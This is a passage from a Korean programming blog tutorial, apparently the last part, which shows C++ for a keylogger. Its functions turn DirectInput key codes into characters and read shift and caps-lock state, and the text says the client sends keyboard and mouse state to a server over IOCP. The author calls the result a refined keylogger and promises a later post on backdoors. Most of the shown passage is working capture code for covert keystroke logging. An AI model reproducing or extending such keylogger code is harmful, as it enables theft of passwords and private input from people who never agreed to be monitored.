		case DIK_U: ascii = "U"; break;
		case DIK_V: ascii = "V"; break;
		case DIK_W: ascii = "W"; break;
		case DIK_X: ascii = "X"; break;
		case DIK_Y: ascii = "Y"; break;
		case DIK_Z: ascii = "Z"; break;

		case DIK_RETURN: ascii = "[Enter]"; break;
		case DIK_ESCAPE: ascii = "[Esc]"; break;
		case DIK_LSHIFT: ascii = "[LShift]"; break;
		case DIK_RSHIFT: ascii = "[RShift]"; break;
		case DIK_CAPSLOCK: ascii = "[CapsLock]"; break;
		case DIK_TAB: ascii = "[Tab]"; break;
		case DIK_LALT: ascii = "[LAlt]"; break;
		case DIK_RALT: ascii = "[RAlt]"; break;
		case DIK_LCONTROL: ascii = "[LCtrl]"; break;
		case DIK_RCONTROL: ascii = "[RCtrl]"; break;

		case DIK_UP: ascii = "[Up]"; break;
		case DIK_DOWN: ascii = "[Down]"; break;
		case DIK_RIGHT: ascii = "[Right]"; break;
		case DIK_LEFT: ascii = "[Left]"; break;

		case DIK_0: ascii = "0"; break;
		case DIK_1: ascii = "1"; break;
		case DIK_2: ascii = "2"; break;
		case DIK_3: ascii = "3"; break;
		case DIK_4: ascii = "4"; break;
		case DIK_5: ascii = "5"; break;
		case DIK_6: ascii = "6"; break;
		case DIK_7: ascii = "7"; break;
		case DIK_8: ascii = "8"; break;
		case DIK_9: ascii = "9"; break;
		}

		if (ascii.size() == 1 && !upper) {
			if ('A' <= ascii[0] && ascii[0] <= 'Z') {
				ascii[0] += 32;
			}
		}

		if (ascii.size() == 1 && upper) {
			switch (ascii[0]) {
			case '0': ascii[0] = ')'; break;
			case '1': ascii[0] = '!'; break;
			case '2': ascii[0] = '@'; break;
			case '3': ascii[0] = '#'; break;
			case '4': ascii[0] = '$'; break;
			case '5': ascii[0] = '%'; break;
			case '6': ascii[0] = '^'; break;
			case '7': ascii[0] = '&'; break;
			case '8': ascii[0] = '*'; break;
			case '9': ascii[0] = '('; break;
			}
		}

		return ascii;
	}

우선 이 함수는 DirectInput의 키 매크로를 아스키값으로 변환하는 역할을 합니다.

DirectInput에서 지원하는 키의 순서는 아스키의 순서와 틀려요.

그대로 쓰면은 제대로 출력이 안될겁니다.

그래서 이 함수를 만들었습니다.

 

std::tuple<int, bool, bool> AsciiStringAssembly(const unsigned char* keyState, bool capsLock) {
		int dik;
		bool Upper, unClickedFlag;

		unClickedFlag = true;
		for (int i = 0; i < 256; ++i) {
			if (keyState[i]) {
				unClickedFlag = false;
				dik = i;

				if (capsLock) {
					if ((keyState[DIK_LSHIFT] & 0x80) || (keyState[DIK_RSHIFT] & 0x80)) {
						Upper = false;
					}
					else {
						Upper = true;
					}
				}
				else {
					if ((keyState[DIK_LSHIFT] & 0x80) || (keyState[DIK_RSHIFT] & 0x80)) {
						Upper = true;
					}
					else {
						Upper = false;
					}
				}

				break;
			}
		}

		return std::make_tuple(dik, Upper, unClickedFlag);
	}
}

이 함수는 우리가 클라이언트로부터 받아온 키보드의 상태CapsLock의 Toggle여부에따라 DirectInput의 키 매크로, 소대문자여부, 클릭여부를 반환합니다.

 

이제 실습이 모두 끝났습니다.

실제 실행을 통해 정상적으로 작동하는지 확인하겠습니다.

 

🚯 주의사항 🚯

같은PC에서 여러개의 같은 Loopback주소를 입력한 클라이언트를 동시에 접속하면안됩니다.

그 이유는 DirectInput과 관련이 있습니다.

저희는 이번에 DirectInput8을 사용하여 하드웨어의 메모리에 접근하여 직접적으로 키와 마우스의 상태를 읽었습니다.

만약 여러개의 클라이언트가 동시에 같은 장치의 메모리를 참조한다면, 실패하게됩니다.

 

 

🔥 테스트

이제 해당 프로젝트를 컴파일시키면 다음과같이 2개의 파일을 컴파일 받을 수 있습니다.

 

이제 Server.exe먼저 실행시킨뒤, Client.exe를 실행시켜보겠습니다.

 

와우!

성공적으로 서버에서 클라이언트의 키보드, 마우스의 상태를 가져올 수 있습니다!

 

 

🔥 마치며...

이번에는 DirectInputIOCP의 Overlapped 네트워크모델을 이용하여 엄청난속도의 세련된 키로거를 만들어보았습니다.

사실 파일로 저장하는것까지 만들고싶었으나, 귀차니즘이 도래했기때문에 그냥 그만뒀습니다..

다음에는 서버파일의 생성과 백도어에 관한 유익한내용과 함께 포스팅으로 돌아오겠습니다.

 

 


728x90

댓글